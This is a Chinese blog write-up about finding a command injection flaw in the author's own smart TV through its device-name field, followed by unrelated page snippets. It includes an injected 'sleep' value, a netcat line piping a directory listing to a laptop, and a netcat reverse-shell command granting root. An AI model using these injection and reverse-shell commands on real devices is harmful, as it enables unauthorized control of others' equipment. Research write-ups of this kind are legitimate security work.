看我如何躺在床上黑掉自家智慧型電視

2021-08-19 12:56:24 字數 3391 閱讀 7859

那是乙個慵懶的夜晚,經過了一天忙碌的工作之後,我只想躺在床上靜靜地看會兒電視。不過在此之前,有乙個朋友送了我一台路由器,而我卻在這台路由器中發現了乙個安全漏洞,辛苦工作了一天,我也一直在努力克制自己不要再去想這個漏洞了,但是沒辦法,我還是不停地在想這個問題,因為能夠在這種裝置中發現漏洞絕對是一件非常有意思的事情,而這些漏洞不僅是普通使用者無法發現的,而且甚至連產品的開發人員以及公司的技術支援部門都對此毫不知情。

由於當晚我已經非常累了,因此我在電視上設定了乙個睡眠時間之後便趕緊躺**了。但是在設定睡眠時間的過程中出於職業本能,我翻看了一下設定選項選單,看看有沒有只對開發人員開放的功能。在用手機google了一番之後,我發現這個牌子的智慧型電視有乙個控制**可以開啟隱藏選單。

接下來, 我通過遠端控制在電視的設定選單中輸入了這段控制**,然後螢幕左側便彈出了乙個選單。但幾乎所有的選項都是不可訪問的,我只能訪問其中乙個名叫「hotel mode」(酒店模式)的選項,並檢視電視的版本號。除此之外,還有乙個名叫「info」(資訊)的選項,開啟它之後我發現了一件非常有意思的事情:我可以給我家的智慧型電視設定乙個名字。

智慧型電視中的安全漏洞

如果你也是資訊保安從業者,那麼你可能會不由自主地在其他地方測試你平時所使用的payload,可以是路由器web介面的乙個get引數,也可以是你印表機的控制面板,而我現在遇到的是一台智慧型電視。接下來,我突發奇想地把電視命名為了』sleep 5』。

設定完成之後,我的電視卡了好久都沒響應。當它有反應之後,我又修改了電視的名稱,我當時並不認為自己發現了乙個命令注入漏洞,因為我的電視在更改設定之後,經常都會有幾秒鐘的卡頓,但這一次的卡得未免也有些太久了,所以這也勾起了我的好奇心。

由於卡頓時間已經超過了五秒,與電視名稱裡設定的『5』並不匹配,因此我認為系統可能會對這個數字進行一些特殊處理。當然了,也有可能是因為電視不支援這個引數,而這個引數會引發電視出現異常,所以才會導致電視出現卡頓。但是當我嘗試將其改名為『sleep 0』之後,電視卻並沒有出現卡頓。

事實就擺在我的眼前,但是我卻不知道其中緣由,所以我打算測量一下這個數字與時間之間的數學關係。原來,名稱裡的數字(我們所輸入的)乘以3才是電視機真正的響應間隔時間,比如說:

sleep

(2) – 6秒

sleep

(3) - 9秒

sleep

(5) - 15秒

在智慧型電視中執行遠端命令這你敢信?我的第一次嘗試就找到了乙個命令注入漏洞!但僅僅讓選單卡住並不能成為乙個有說服力的poc,而且在實際的漏洞利用過程中也沒什麼用。由於我們在這裡只能輸入31個字元,去掉兩個引號之後,意味著我們的payload只剩29個字元了。

下面給出的這個列表就是所以我嘗試過的命令:

由於當時已是深夜,所以我果斷**睡覺了,並打算在第二天看看是否可以拿到電視機的shell。第二天起床之後,我便趕緊拿起膝上型電腦和網線開始幹活,而讓我欣喜若狂的是,我可以通過遠端控制讓智慧型電視執行系統指令。

拿到智慧型電視的shell

我家的電視掛在牆上,所以插網線的過程讓我有些「力不從心」,因為我的肩膀當時就因為這個弄脫臼了,但最終我還是把網線插了進去,然後與我的膝上型電腦相連線,並利用ipconfig命令檢視筆記本的ip位址。

既然我已經知道了筆記本的ip位址,那麼現在我只需要拿到筆記本的反向shell(reverse shell)即可,而無需知道電視機的ip位址。更重要的是,反向shell可以繞過所有的防火牆規則(阻止進入的連線)。但是在此之前,我還需要更加深入地了解這台智慧型電視。

在智慧型電視上使用netcat

我發現智慧型電視上預設安裝了「nc」,所以我可以利用「nc」指令將特定命令的輸出結果傳回給膝上型電腦。當然了,我首先測試的是「id」,而執行結果可以讓我知道自己是否擁有智慧型電視的root許可權。

如上圖所示,輸出結果表明我已經擁有root許可權了,雖然這沒啥好驚訝的,但這仍是乙個好訊息。接下來,我準備利用ls-la /|nc 169.254.56.216 5這條命令來獲取到根目錄的檔案列表。

目前一切順利,但我還是沒有拿到電視的shell。考慮到電視機預設安裝的「nc」版本允許我們使用「-e」引數,因此我們可以通過nc 169.254.213.210 5 -e sh這條命令來拿到乙個反向shell。

成功拿到智慧型電視的shell

我發現,智慧型電視絕大多數的檔案系統都只有讀許可權(read-only),所以我沒辦法修改啟動介面的logo。但是電視裡也有很多是會經常變化的,比如說當你在換頻道的時候所顯示的頻道預覽圖,這些顯示的就是各個頻道的節目截圖。很明顯,這些需要在檔案系統中的某個地方儲存,而這個目錄就是你可以實現讀寫的地方。

研究之後,我發現系統中所有的圖示都是.png檔案,但是當我通過命令「find/ -name *.png」來查詢所有帶有.png字尾的檔案時,並沒有找到這些預覽圖。然而,當我嘗試用同樣的方法搜尋.jpg檔案時,我發現了一些檔名類似channelimage123.jpg的檔案,於是我便用其他的替換了相應的channelimage檔案,結果如下圖所示:

物聯網裝置中的漏洞往往存在於很多非常不起眼的地方,而這些地方也是你很容易忽略的。當我在測試「sleep」命令時,我根本就沒想過它可以觸發漏洞,我只是無聊才用「sleep」設定電視名稱的。除此之外,我之前也沒有意識到我的智慧型電視是在linux平台上執行的,而且我所發現的這個漏洞是可以被利用的,這著實讓我不得不佩服自己了。

雖然這個漏洞無法遠端利用,但我還是建議大家不要使用智慧型電視中某些不太智慧型的功能,因為我們誰也不想讓別人來控制自家的電視。

Powerpc E500 看我如何消費TLB

powerpc e500 實現有兩級 tlb,即 l1 tlb 和 l2 tlb。l1 tlb 可以理解為 l2 tlb 的部分快取。訪問 l1 tlb 的效率要比 l2 的效率高,相應的實現的花費也就高。l1 tlb 由硬體維護,不可程式設計精確控制。程式設計師可控制的一般是l2 tlb,因此以下...

看我是如何嚴辭拒絕同學借錢的

看我是如何嚴辭拒絕同學借錢的 朋友同學之間借錢應急一下本無可非議,但現在許多經驗和歷史教訓告訴我們,借錢給他人就等於失去這個朋友,最後弄得自己也很鬱悶甚至是惱怒,所以在這裡轉一篇關於如何拒絕朋友間借錢的文章,希望筒子們以後面對此類現象一定要痛下決心勇敢說 不!先自己誇自己兩句吧 我一向為人還算忠厚,...

cat日誌 搜尋 大日誌,看我如何對付你

在伺服器介面測試中,我們經常會和各種日誌打交道。一旦測試時服務端出現了問題,而單憑服務端的日誌又不能發現問題原因的時候,往往開發要向我們測試人員詢問客戶端這邊的情況,希望看看我們能不能提供一些有用資訊,如錯誤返回內容,錯誤發生時間,哪些用例會出現問題等等。這時就需要我們來查詢測試時的日誌,從中篩選出...